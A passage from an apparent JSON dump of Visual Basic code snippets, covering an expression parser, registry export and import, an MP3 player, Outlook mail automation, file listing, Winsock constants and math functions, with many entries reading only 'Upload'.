not just in a VB class).\nIn the code example that I've provided, there are four classes. ITransportation is the object Interface. Then there are 3 other classes named\n\"Plane\", \"Train\" and \"Automobile\" - all of which implement the interface class.\nWhen using polymorphism, it is mandatory for each class to support all of the members of the interface. In other words, the classes are allowed to implement more methods/properties and extend the ITransportation interface, but never allowed to remove methods/properties that are already defined in the Interface class.\nSo go ahead now and experiment with the modMain.bas module to see how polymorphism works! Try adding methods and properties to the Train, Plane and Automobile classes.\nSend questions and comments to rgardner@rgsoftware.com\n###\nCopyright 2000 by Cobalt A.I. Software http://www.cobaltai.com\n\n"},{"WorldId":1,"id":29998,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28584,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25323,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21856,"LineNumber":1,"line":"Public Function Eval(expr As String)\n Dim value As Variant, operand As String\n Dim pos As Integer\n \n pos = 1\n Do Until pos > Len(expr)\n Select Case Mid(expr, pos, 3)\n Case \"not\", \"or \", \"and\", \"xor\", \"eqv\", \"imp\"\n operand = Mid(expr, pos, 3)\n pos = pos + 3\n End Select\n \n Select Case Mid(expr, pos, 1)\n Case \" \"\n pos = pos + 1\n Case \"&\", \"+\", \"-\", \"*\", \"/\", \"\\\", \"^\"\n operand = Mid(expr, pos, 1)\n pos = pos + 1\n Case \">\", \"<\", \"=\":\n Select Case Mid(expr, pos + 1, 1)\n Case \"<\", \">\", \"=\"\n operand = Mid(expr, pos, 2)\n pos = pos + 1\n Case Else\n operand = Mid(expr, pos, 1)\n End Select\n pos = pos + 1\n Case Else\n Select Case operand\n Case \"\": value = Token(expr, pos)\n Case \"&\": Eval = Eval & value\n value = Token(expr, pos)\n \n Case \"+\": Eval = Eval + value\n value = Token(expr, pos)\n Case \"-\": Eval = Eval + value\n value = -Token(expr, pos)\n \n Case \"*\": value = value * Token(expr, pos)\n Case \"/\": value = value / Token(expr, pos)\n Case \"\\\": value = value \\ Token(expr, pos)\n Case \"^\": value = value ^ Token(expr, pos)\n \n Case \"not\": Eval = Eval + value\n value = Not Token(expr, pos)\n Case \"and\": value = value And Token(expr, pos)\n Case \"or \": value = value Or Token(expr, pos)\n Case \"xor\": value = value Xor Token(expr, pos)\n Case \"eqv\": value = value Eqv Token(expr, pos)\n Case \"imp\": value = value Imp Token(expr, pos)\n \n Case \"=\", \"==\": value = value = Token(expr, pos)\n Case \">\": value = value > Token(expr, pos)\n Case \"<\": value = value < Token(expr, pos)\n Case \">=\", \"=>\": value = value >= Token(expr, pos)\n Case \"<=\", \"=<\": value = value <= Token(expr, pos)\n Case \"<>\": value = value <> Token(expr, pos)\n End Select\n End Select\n Loop\n \n Eval = Eval + value\nEnd Function\nPrivate Function Token(expr, pos)\n Dim char As String, value As String, fn As String\n Dim es As Integer, pl As Integer\n Const QUOTE As String = \"\"\"\"\n \n Do Until pos > Len(expr)\n char = Mid(expr, pos, 1)\n Select Case char\n Case \"&\", \"+\", \"-\", \"/\", \"\\\", \"*\", \"^\", \" \", \">\", \"<\", \"=\": Exit Do\n Case \"(\"\n pl = 1\n pos = pos + 1\n es = pos\n Do Until pl = 0 Or pos > Len(expr)\n char = Mid(expr, pos, 1)\n Select Case char\n Case \"(\": pl = pl + 1\n Case \")\": pl = pl - 1\n End Select\n pos = pos + 1\n Loop\n value = Mid(expr, es, pos - es - 1)\n fn = LCase(Token)\n Select Case fn\n Case \"sin\": Token = Sin(Eval(value))\n Case \"cos\": Token = Cos(Eval(value))\n Case \"tan\": Token = Tan(Eval(value))\n Case \"exp\": Token = Exp(Eval(value))\n Case \"log\": Token = Log(Eval(value))\n Case \"atn\": Token = Atn(Eval(value))\n Case \"abs\": Token = Abs(Eval(value))\n Case \"sgn\": Token = Sgn(Eval(value))\n Case \"sqr\": Token = Sqr(Eval(value))\n Case \"rnd\": Token = Rnd(Eval(value))\n Case \"int\": Token = Int(Eval(value))\n Case \"day\": Token = Day(Eval(value))\n Case \"month\": Token = Month(Eval(value))\n Case \"year\": Token = Year(Eval(value))\n Case \"weekday\": Token = WeekDay(Eval(value))\n Case \"hour\": Token = Hour(Eval(value))\n Case \"minute\": Token = Minute(Eval(value))\n Case \"second\": Token = Second(Eval(value))\n Case \"date\": Token = Date\n Case \"date$\": Token = Date$\n Case \"time\": Token = Time\n Case \"time$\": Token = Time$\n Case \"timer\": Token = Timer\n Case \"now\": Token = Now()\n Case \"len\": Token = Len(Eval(value))\n Case \"trim\": Token = Trim(Eval(value))\n Case \"ltrim\": Token = LTrim(Eval(value))\n Case \"rtrim\": Token = RTrim(Eval(value))\n Case \"ucase\": Token = UCase(Eval(value))\n Case \"lcase\": Token = LCase(Eval(value))\n Case \"val\": Token = Val(Eval(value))\n Case \"chr\": Token = Chr(Eval(value))\n Case \"asc\": Token = Asc(Eval(value))\n Case \"space\": Token = Space(Eval(value))\n Case \"hex\": Token = Hex(Eval(value))\n Case \"oct\": Token = Oct(Eval(value))\n Case \"environ\": Token = Environ$(Eval(value))\n Case \"curdir\": Token = CurDir$\n Case \"dir\": If Len(value) Then Token = Dir(Eval(value)) Else Token = Dir\n Case Else: Token = Eval(value)\n End Select\n Exit Do\n Case QUOTE\n pl = 1\n pos = pos + 1\n es = pos\n Do Until pl = 0 Or pos > Len(expr)\n char = Mid(expr, pos, 1)\n pos = pos + 1\n \n If char = QUOTE Then\n If Mid(expr, pos, 1) = QUOTE Then\n value = value & QUOTE\n pos = pos + 1\n Else\n Exit Do\n End If\n Else\n value = value & char\n End If\n Loop\n Token = value\n Exit Do\n Case Else\n Token = Token & char\n pos = pos + 1\n End Select\n Loop\n \n If IsNumeric(Token) Then\n Token = Val(Token)\n ElseIf IsDate(Token) Then\n Token = CDate(Token)\n End If\nEnd Function\n"},{"WorldId":1,"id":11227,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12047,"LineNumber":1,"line":"Option Explicit\nDim px As Long, py As Long\nDim gapx As Long, gapy As Long\nPrivate Sub Form_Load()\n Set Image1.Container = Picture1\n Image1.Stretch = True\n Image1.Picture = LoadPicture(\"C:\\Windows\\Bubbles.bmp\")\n Picture1.Move 60, 60, 6000, 4000\n Image1.Move -1000, -1000, 10000, 10000\n Me.Move Screen.Width \\ 2 - 3100, Screen.Height \\ 2 - 2250, 6200, 4500\nEnd Sub\nPrivate Sub image1_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)\n px = X\n py = Y\n gapx = Picture1.Width - Image1.Width\n gapy = Picture1.Height - Image1.Height\n Image1.MousePointer = 15\nEnd Sub\nPrivate Sub image1_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)\n Dim deltax As Long, deltay As Long\n If Button = vbLeftButton Then\n X = CLng(X)\n Y = CLng(Y)\n If Abs(X - px) < 30 Then\n ElseIf X < px Then\n deltax = Abs(X - px)\n If Image1.Left - deltax >= gapx Then\n Image1.Left = Image1.Left - deltax\n ElseIf gapx <= 0 Then\n Image1.Left = gapx\n Else\n Image1.Left = 0\n End If\n px = X + deltax\n ElseIf X > px Then\n deltax = Abs(X - px)\n If Image1.Left + deltax <= 0 Then\n Image1.Left = Image1.Left + deltax\n Else\n Image1.Left = 0\n End If\n px = X - deltax\n End If\n If Abs(Y - py) < 30 Then\n ElseIf Y < py Then\n deltay = Abs(Y - py)\n If Image1.Top - deltay >= gapy Then\n Image1.Top = Image1.Top - deltay\n ElseIf gapy <= 0 Then\n Image1.Top = gapy\n Else\n Image1.Top = 0\n End If\n py = Y + deltay\n ElseIf Y > py Then\n deltay = Abs(Y - py)\n If Image1.Top + deltay <= 0 Then\n Image1.Top = Image1.Top + deltay\n Else\n Image1.Top = 0\n End If\n py = Y - deltay\n End If\n End If\nEnd Sub\nPrivate Sub image1_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)\n Image1.MousePointer = 0\nEnd Sub\n"},{"WorldId":1,"id":22695,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22718,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14103,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13399,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25996,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31828,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31678,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12763,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14501,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22273,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22625,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13747,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14476,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":35236,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14950,"LineNumber":1,"line":"Function ExportNode(sKeyPath As String, sOutFile As String)\n'\n'Example:\n'ExportNode \"HKEY_LOCAL_MACHINE\\software\\microsoft\",\"c:\\windows\\desktop\\out.reg\"\n'\n'/E (Export) switch\nShell \"regedit /E \" & sOutFile & \" \" & sKeyPath\nEnd Function\nFunction ImportNode(sInFile As String)\n'\n'Example:\n'ImportNode \"c:\\windows\\desktop\\reg.reg\"\n'\n'/I (Import) /S (Silent) switchs\nShell \"regedit /I /S \" & sInFile\nEnd Function"},{"WorldId":1,"id":24963,"LineNumber":1,"line":"Sub DisableHDC(SourceDC As Long, SourceWidth As Long, SourceHeight As Long)\nConst BLACK = 0\nConst DARKGREY = &H808080\nConst WHITE = &HFFFFFF\nDim i As Long\nDim j As Long\nDim PixelColor As Long\nDim BackgroundColor As Long\nDim MemoryDC As Long\nDim MemoryBitmap As Long\nDim OldBitmap As Long\nDim BooleanArray() As Boolean\nReDim BooleanArray(SourceWidth, SourceHeight)\nMemoryDC = CreateCompatibleDC(SourceDC)\nMemoryBitmap = CreateCompatibleBitmap(SourceDC, SourceWidth, SourceHeight)\nOldBitmap = SelectObject(MemoryDC, MemoryBitmap)\nBitBlt MemoryDC, 0, 0, SourceWidth, SourceHeight, SourceDC, 0, 0, SRCCOPY\nBackgroundColor = GetBkColor(SourceDC)\n' Scan Pixels and if the pixel is black\n' it is flagged as true and saved in BooleanArray(x,y)\n' then colored dark grey (disabled color)\nFor i = 0 To SourceWidth\n For j = 0 To SourceHeight\n PixelColor = GetPixel(MemoryDC, i, j)\n If PixelColor <> BackgroundColor Then ' skip background color pixels\n If PixelColor = BLACK Then\n BooleanArray(i, j) = True\n SetPixel MemoryDC, i, j, DARKGREY\n Else\n SetPixel MemoryDC, i, j, BackgroundColor\n End If\n End If\n Next\nNext\n\n' For each Black pixel, draw a white shadow 1 pixel down and\n' 1 pixel to the right to create a shadow effect\nFor i = 0 To SourceWidth - 1\n For j = 0 To SourceHeight - 1\n If BooleanArray(i, j) = True Then\n If BooleanArray(i + 1, j + 1) = False Then\n SetPixel MemoryDC, i + 1, j + 1, WHITE\n End If\n End If\n Next\nNext\nBitBlt SourceDC, 0, 0, SourceWidth, SourceHeight, MemoryDC, 0, 0, SRCCOPY\nSelectObject MemoryDC, OldBitmap\nDeleteObject MemoryBitmap\nDeleteDC MemoryDC\nEnd Sub\nPrivate Sub Form_Load()\nMe.Picture = Me.Icon\nEnd Sub\n' Hold down mouse button to disable\nPrivate Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)\nConst PICSIZE = 32\nMe.Picture = Me.Icon\nMe.AutoRedraw = True\nMe.ScaleMode = vbPixels\nDisableHDC Me.hdc, PICSIZE, PICSIZE\nMe.Refresh\nEnd Sub\nPrivate Sub Form_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)\nMe.Picture = Me.Icon\nEnd Sub"},{"WorldId":1,"id":11232,"LineNumber":1,"line":"' Simple MP3 Player\nPrivate Declare Function mciSendString Lib \"winmm.dll\" Alias \"mciSendStringA\" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long\nDim isPlaying As Boolean\nDim Mp3File As String\nPrivate Sub Command1_Click(Index As Integer)\n \n Mp3File = Chr$(34) + Trim(Text1.Text) + Chr$(34)\n Select Case Index\n Case 0\n ' Start Playing\n mciSendString \"open \" + Mp3File, 0&, 0&, 0&\n mciSendString \"play \" + Mp3File, \"\", 0&, 0&\n isPlaying = True\n Case 1\n ' Stop Playing\n mciSendString \"close \" + Mp3File, 0&, 0&, 0&\n isPlaying = False\n End Select\n \nEnd Sub\nPrivate Sub Command2_Click()\n \n Unload Me\n \nEnd Sub\nPrivate Sub Form_Unload(Cancel As Integer)\n If isPlaying = True Then\n ' Stop Playing if we are playing before we exit!\n mciSendString \"close \" + Mp3File, 0&, 0&, 0&\n End If\n \nEnd Sub\n"},{"WorldId":1,"id":21021,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21227,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22466,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24099,"LineNumber":1,"line":"'make a file on you desktop called test.txt'\nName (\"C:\\windows\\desktop\\test.txt\") As (\"C:\\windows\\desktop\\test.html\")"},{"WorldId":1,"id":27999,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28070,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33434,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26138,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23888,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23816,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12494,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34203,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":35225,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34893,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34659,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34515,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10985,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11819,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11323,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23220,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15053,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28665,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13666,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13794,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21062,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21391,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12885,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13374,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13309,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11481,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26125,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25812,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27300,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27492,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32267,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33530,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14152,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12398,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33384,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31135,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12314,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11113,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11170,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24833,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12861,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25166,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13977,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21134,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25104,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25017,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24713,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24741,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12713,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12602,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10819,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11803,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13224,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11895,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10657,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13959,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23503,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23960,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24002,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24954,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24891,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25213,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25258,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25754,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25921,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26295,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26421,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31098,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30647,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31530,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30646,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11977,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12077,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11503,"LineNumber":1,"line":"Private Sub Text1_KeyPress(KeyAscii As Integer)\n' Force numbers only in a text box\nIf IsNumeric(Chr(KeyAscii)) <> True Then KeyAscii = 0\nEnd Sub"},{"WorldId":1,"id":11110,"LineNumber":1,"line":"Public Sub SortListView(ctlListView As ListView, intColulunHeaderIndex As Integer)\nctlListView.Sorted = True\nctlListView.SortKey = intColulunHeaderIndex - 1\nIf ctlListView.SortOrder = lvwAscending Then\n ctlListView.SortOrder = lvwDescending\nElse\n ctlListView.SortOrder = lvwAscending\nEnd If\nEnd Sub"},{"WorldId":1,"id":10671,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10592,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11316,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28340,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25633,"LineNumber":1,"line":"on the timer function, type....\nDim amsg As Msg\nGetMessage amsg, 0, 0, 0\nDispatchMessage amsg\nIf amsg.message = 522 Then \n list1.additem \"Mouse wheel scrolled\"\nend if\n'that is all, hope it comes useful.\n"},{"WorldId":1,"id":29143,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21424,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11443,"LineNumber":1,"line":"The way to do this is to go to a URL Redirection website... www.cjb.net is a good one. Create an account there, it's free, and put your current IP number in the box that asks you for your homepage. If your IP is 12.34.567.89, then you would put HTTP://12.34.567.89:80 in the box. Since 80 is what is normally used for HTML, it's better to use it here. Continue creating the account and there you go.\nNow, the client's program will have a winsock control and a web browser control on their form. When they click the command button to connect, the code will tell the web browser to go to the url... http://myip.cjb.net, or whatever you created. Of course, the winsock control on your end will be listening for connections. When the client has done his/her job by clicking the command button to connect, it will send their IP to you. You retrieve this IP by putting the ACCEPT RequestID routine in the Winsock_ConnectionRequest event, and then using the RemoteHostIp to then connect to their computer. It is much easier to have the client's program have 2 winsock controls on their form... 1 for connecting to http://whatever.cjb.net, and 1 for listening for YOUR connection request. The winsock control that connects to the internet requires no IP input, nor PORT number. The winsock control that allows YOU to connect to THEM will be a different port, so the ports don't conflict.\nThe client doesn't have to know the IP number, nor do you. The only thing you, the server, has to do before the client connects is modify the CJB.NET account with your current IP number before the client connects. If you have a DSL or better, or a static IP, you won't have to mess with modifying your CJB.NET account to add your new IP.\nAnd there you have it. I hope this has helped some of you out. And if you have any comments suggesting that this doesn't work, I have made several programs that do this... and I've had 0 problems.\nOne more thing, feedback is always welcome. Even if you have something negative to say. Please vote."},{"WorldId":1,"id":27449,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27273,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23597,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28441,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31645,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31647,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10852,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10805,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13462,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12615,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34146,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25003,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11965,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31355,"LineNumber":1,"line":" Microsoft Winsock Control - 6.00.8169<hr>MSWINSCK.OCX \n \nsckAddressInUse 10048 \nsckAddressNotAvailable 10049 \nsckAlreadyComplete 10037 \nsckAlreadyConnected 10056 \nsckConnectAborted 10053 \nsckClosing 8 \nsckClosed 0 \nsckConnecting 6 \nsckConnected 7 \nsckConnectionPending 3 \nsckConnectionRefused 10061 \nsckConnectionReset 10054 \nsckError 9 \nsckGetNotSupported 394 \nsckHostNotFound 11001 \nsckHostNotFoundTryAgain 11002 \nsckHostResolved 5 \nsckInProgress 10036 \nsckInvalidArg 40014 \nsckInvalidArgument 10014 \nsckInvalidOp 40020 \nsckInvalidPropertyValue 380 \nsckListening 2 \nsckMsgTooBig 10040 \nsckNetReset 10052 \nsckNetworkSubsystemFailed 10050 \nsckNetworkUnreachable 10051 \nsckNoBufferSpace 10055 \nsckNoData 11004 \nsckNonRecoverableError 11003 \nsckNotConnected 10057 \nsckNotInitialized 10093 \nsckNotSocket 10038 \nsckOpCanceled 10004 \nsckOpen 1 \nsckOutOfMemory 7 \nsckOutOfRange 40021 \nsckPortNotSupported 10043 \nsckResolvingHost 4 \nsckSetNotSupported 383 \nsckSocketShutdown 10058 \nsckSuccess 40017 \nsckTCPProtocol 0 \nsckTimedout 10060 \nsckUDPProtocol 1 \nsckUnsupported 40018 \nsckWouldBlock 10035 \nsckWrongProtocol 40026 \n \n \n"},{"WorldId":1,"id":32494,"LineNumber":1,"line":"visit www.xmetrix.net/xmail to download the control\n\n'xmail.ocx syntax\nxmail1.sendmail [recipient],[from],[subject],[body]\n\n'xmail.ocx usage\nPublic Sub Command1_Click()\nxmail.sendmail \"xmetrix@xmetrix.net\",\"test@test.tst\",\"This is my subject\", \"This should appear in the message of the email.\"\nEnd Sub\n"},{"WorldId":1,"id":34219,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28253,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24084,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26238,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10910,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11275,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12473,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13872,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14311,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15093,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11853,"LineNumber":1,"line":"Dim o \n Dim m\n \n Set o = CreateObject(\"Outlook.Application\")\n Set m = o.CreateItem(0)\n \n m.To = \"xxxx@yyyy.com\"\n m.Subject = \"This is the Subject\"\n m.Body = \"Hey, this is cool!\"\n m.Attachments.Add \"C:\\Temp\\FileToAttach.txt\"\n 'Repeat this line if there are more Attachments\n m.Display\n 'm.Send 'If you want to just send it"},{"WorldId":1,"id":11463,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12092,"LineNumber":1,"line":"Private Function ShiftDown()\n Dim RetVal As Long\n RetVal = GetAsyncKeyState(16) 'SHIFT key\n If (RetVal And 32768) <> 0 Then\n ShiftDown = True\n Else\n ShiftDown = False\n End If\nEnd Function\n"},{"WorldId":1,"id":12117,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10837,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13090,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14891,"LineNumber":1,"line":"Private Function FileList(ByVal Pathname As String, Optional DirCount As Long, Optional FileCount As Long) As String\n 'Returns a string containing all files\n 'at this directory level and lower.\n 'Example of usage:\n ' RichTextBox1.Text = FileList(\"c:\\windows\")\n \n Dim ShortName As String, LongName As String\n Dim NextDir As String\n Static FolderList As Collection\n \n Screen.MousePointer = vbHourglass\n \n 'First time through only, create collection\n 'to hold folders waiting to be processed.\n If FolderList Is Nothing Then\n Set FolderList = New Collection\n FolderList.Add Pathname\n DirCount = 0\n FileCount = 0\n End If\n \n Do\n 'Obtain next directory from list\n NextDir = FolderList.item(1)\n \n 'Remove next directory from list\n FolderList.Remove 1\n \n 'List files in directory\n ShortName = Dir(NextDir & \"\\*.*\", vbNormal Or _\n vbArchive Or _\n vbDirectory)\n Do While ShortName > \"\"\n If ShortName = \".\" Or ShortName = \"..\" Then\n 'skip it\n Else\n 'process it\n LongName = NextDir & \"\\\" & ShortName\n If (GetAttr(LongName) And vbDirectory) > 0 Then\n 'it's a directory - add it to the list of directories to process\n FolderList.Add LongName\n DirCount = DirCount + 1\n Else\n 'it's a file - add it to the list of files.\n FileList = FileList & LongName & vbCrLf\n FileCount = FileCount + 1\n End If\n End If\n ShortName = Dir()\n Loop\n Loop Until FolderList.Count = 0\n \n Screen.MousePointer = vbNormal\nEnd Function\n"},{"WorldId":1,"id":27205,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26912,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27184,"LineNumber":1,"line":"'Make this a global variable, or site it\n'in the same module as MainLoop.\nPublic Timer as Long\n'To set the timer, issue the \n'following, where MainLoop \n'is the name of the procedure \n'to call every 500 milliseconds.\n'Note that MainLoop MUST exist \n'in a BAS module!\nTimer = SetTimer(0, 0, 500, AddressOf MainLoop)\n'To kill the timer, \n'issue the following:\nKillTimer 0, Timer"},{"WorldId":1,"id":28551,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28876,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29004,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29239,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29447,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30002,"LineNumber":1,"line":"Picture1.Picture = LoadPicture(FileName)\nPicture1.PaintPicture Picture1.Picture, 0, 0, Picture1.Width, Picture1.Height\n"},{"WorldId":1,"id":29882,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30076,"LineNumber":1,"line":"Public Function AlphaNumeric(ByVal s As String) As Boolean\n AlphaNumeric = Not s Like \"*[!A-Za-z0-9]*\"\nEnd Function\n"},{"WorldId":1,"id":30079,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30036,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31683,"LineNumber":1,"line":"Public Sub Display(ByVal s As String, Optional Color As Long = vbGreen)\n 'Add text to the text output window.\n With frmMain.RichTextBox1\n 'Clear all but the last 2000 characters if it's too large\n '(don't cut it off in the middle of a line tho).\n If Len(.Text) + Len(s) > 15000 Then\n .SelStart = 0\n .SelLength = InStrRev(.Text, vbCrLf, Len(.Text) - 2000, vbTextCompare) + 1\n .SelText = \"\"\n End If\n .SelStart = Len(.Text)\n .SelColor = Color\n .SelText = s & vbCrLf\n .SelStart = Len(.Text)\n End With\nEnd Sub\n"},{"WorldId":1,"id":30622,"LineNumber":1,"line":"Public Sub MoveWindow(TheHwnd As Long)\n 'Drag the form with the mouse\n ReleaseCapture\n SendMessage TheHwnd, &HA1, 2, 0&\nEnd Sub\n"},{"WorldId":1,"id":30589,"LineNumber":1,"line":"Set the tabstop of the scrollbar to 'false.'"},{"WorldId":1,"id":10586,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31241,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14518,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14520,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10978,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29892,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29849,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21998,"LineNumber":1,"line":"'Sin(x) function\n'Note: this is in radians, not degrees\nPublic Function Sine(x as Double) as Double\nDim i As Integer, sum As Double: sum = 0\n'Calculate the taylor expansion of sin\nFor i = 1 To 10\n sum = sum + (((-1) ^ (i + 1)) * ((x) ^ (2 * i - 1)) / fact(2 * i - 1))\nNext i\nSine=sum\nEnd Function\n'e^(x) function\nPublic Function e(x as Integer) as Double\nDim i As Integer, sum As Double: sum = 0\n'Calculate the Taylor expansion of e\nFor i = 0 To 150\n sum = sum + (x ^ i) / fact(i)\nNext i\ne=sum\nEnd Function\n'Pi function\nPublic Function pi() as Double\nDim i As Integer, sum As Double: sum = 0\nFor i = 1 To 15000\n sum = sum + ((-1) ^ 